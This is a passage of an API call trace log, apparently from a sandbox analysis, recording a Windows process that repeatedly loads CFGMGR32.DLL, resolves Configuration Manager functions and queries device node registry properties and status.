lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0242.588] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0242.589] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0242.589] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0242.589] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0242.589] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0242.589] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0242.589] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0242.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0242.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0242.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0242.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0242.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0242.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0242.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0242.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0242.591] malloc (_Size=0x18) returned 0x20abc281be0 [0242.592] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0242.598] malloc (_Size=0x48) returned 0x20abc27cf80 [0242.598] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4c5e325c, dwHighDateTime=0x1d9eb0c)) [0242.599] SetEvent (hEvent=0x248) returned 1 [0242.606] malloc (_Size=0xd8) returned 0x20abc284e70 [0242.606] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0242.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0242.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0242.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0242.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0242.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0242.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0242.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0242.609] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0242.609] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0242.609] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0242.609] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0242.609] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0242.609] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0242.610] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0242.610] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0242.610] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0242.610] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0242.610] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0242.610] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0242.610] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0242.611] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0242.611] malloc (_Size=0x18) returned 0x20abc281f60 [0242.611] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0242.659] malloc (_Size=0x48) returned 0x20abc27cb20 [0242.659] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4c67ba71, dwHighDateTime=0x1d9eb0c)) [0242.660] SetEvent (hEvent=0x248) returned 1 [0242.664] malloc (_Size=0xd8) returned 0x20abc284e70 [0242.664] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0242.665] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0242.665] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0242.665] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0242.665] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0242.665] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0242.665] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0242.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0242.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0242.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0242.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0242.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0242.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0242.667] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0242.667] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0242.667] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0242.667] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0242.667] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0242.667] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0242.668] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0242.668] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0242.668] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0242.668] malloc (_Size=0x18) returned 0x20abc281b80 [0242.669] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0242.669] malloc (_Size=0x48) returned 0x20abc27cb20 [0242.669] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4c67ba71, dwHighDateTime=0x1d9eb0c)) [0242.670] SetEvent (hEvent=0x248) returned 1 [0242.675] malloc (_Size=0xd8) returned 0x20abc284e70 [0242.675] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0242.675] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0242.675] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0242.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0242.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0242.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0242.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0242.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0242.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0242.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0242.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0242.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0242.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0242.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0242.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0242.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0242.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0242.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0242.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0242.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0242.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0242.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0242.678] malloc (_Size=0x18) returned 0x20abc281c80 [0242.679] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0242.679] malloc (_Size=0x48) returned 0x20abc27cb20 [0242.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4c6a1c63, dwHighDateTime=0x1d9eb0c)) [0242.679] SetEvent (hEvent=0x248) returned 1 [0242.688] malloc (_Size=0xd8) returned 0x20abc284e70 [0242.688] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0242.688] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0242.688] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0242.688] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0242.689] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0242.689] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0242.689] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0242.689] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0242.689] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0242.690] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0242.690] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0242.690] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0242.690] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0242.691] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0242.691] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0242.691] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0242.691] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0242.691] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0242.692] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0242.692] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0242.692] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0242.692] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0242.693] malloc (_Size=0x18) returned 0x20abc281e80 [0242.693] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0242.696] malloc (_Size=0x48) returned 0x20abc27cb20 [0242.696] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4c6c7f3d, dwHighDateTime=0x1d9eb0c)) [0242.696] SetEvent (hEvent=0x248) returned 1 [0242.701] malloc (_Size=0xd8) returned 0x20abc284e70 [0242.701] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0242.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0242.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0242.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0242.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0242.702] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0242.702] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0242.702] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0242.702] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0242.702] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0242.702] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0242.702] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0242.703] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0242.703] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0242.703] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0242.703] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0242.703] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0242.703] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0242.703] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0242.704] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0242.704] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0242.704] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0242.704] malloc (_Size=0x18) returned 0x20abc2820e0 [0242.705] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x7, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0242.705] malloc (_Size=0x48) returned 0x20abc27cf80 [0242.705] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x4c6c7f3d, dwHighDateTime=0x1d9eb0c)) [0242.769] SetEvent (hEvent=0x248) returned 1 [0242.774] malloc (_Size=0xd8) returned 0x20abc284e70 [0242.774] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0242.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0242.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0242.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0242.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0242.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0242.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0242.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0242.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0242.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0242.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0242.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0242.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0242.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0242.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0242.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0242.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0242.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0242.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0242.778] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0242.778] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0242.778] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0242.778] malloc (_Size=0x18) returned 0x20abc281d60 [0242.778] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x7, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0242.779] malloc (_Size=0x48) returned 0x20abc27cb20 [0242.779] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x4c786a53, dwHighDateTime=0x1d9eb0c)) [0242.779] SetEvent (hEvent=0x248) returned 1 [0242.785] malloc (_Size=0xd8) returned 0x20abc284e70 [0242.785] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0242.785] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0242.785] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0242.785] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0242.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0242.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0242.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0242.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0242.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0242.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0242.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0242.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0242.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0242.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0242.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0242.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0242.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0242.788] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0242.788] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0242.788] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0242.788] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0242.788] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0242.788] malloc (_Size=0x18) returned 0x20abc2819c0 [0242.789] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0242.789] malloc (_Size=0x48) returned 0x20abc27cb20 [0242.789] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4c7adb77, dwHighDateTime=0x1d9eb0c)) [0242.790] SetEvent (hEvent=0x248) returned 1 [0242.796] malloc (_Size=0xd8) returned 0x20abc284e70 [0242.796] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0242.796] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0242.796] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0242.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0242.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0242.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0242.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0242.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0242.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0242.798] GetProcAddress (hModule=0x7ffb1ced0000, 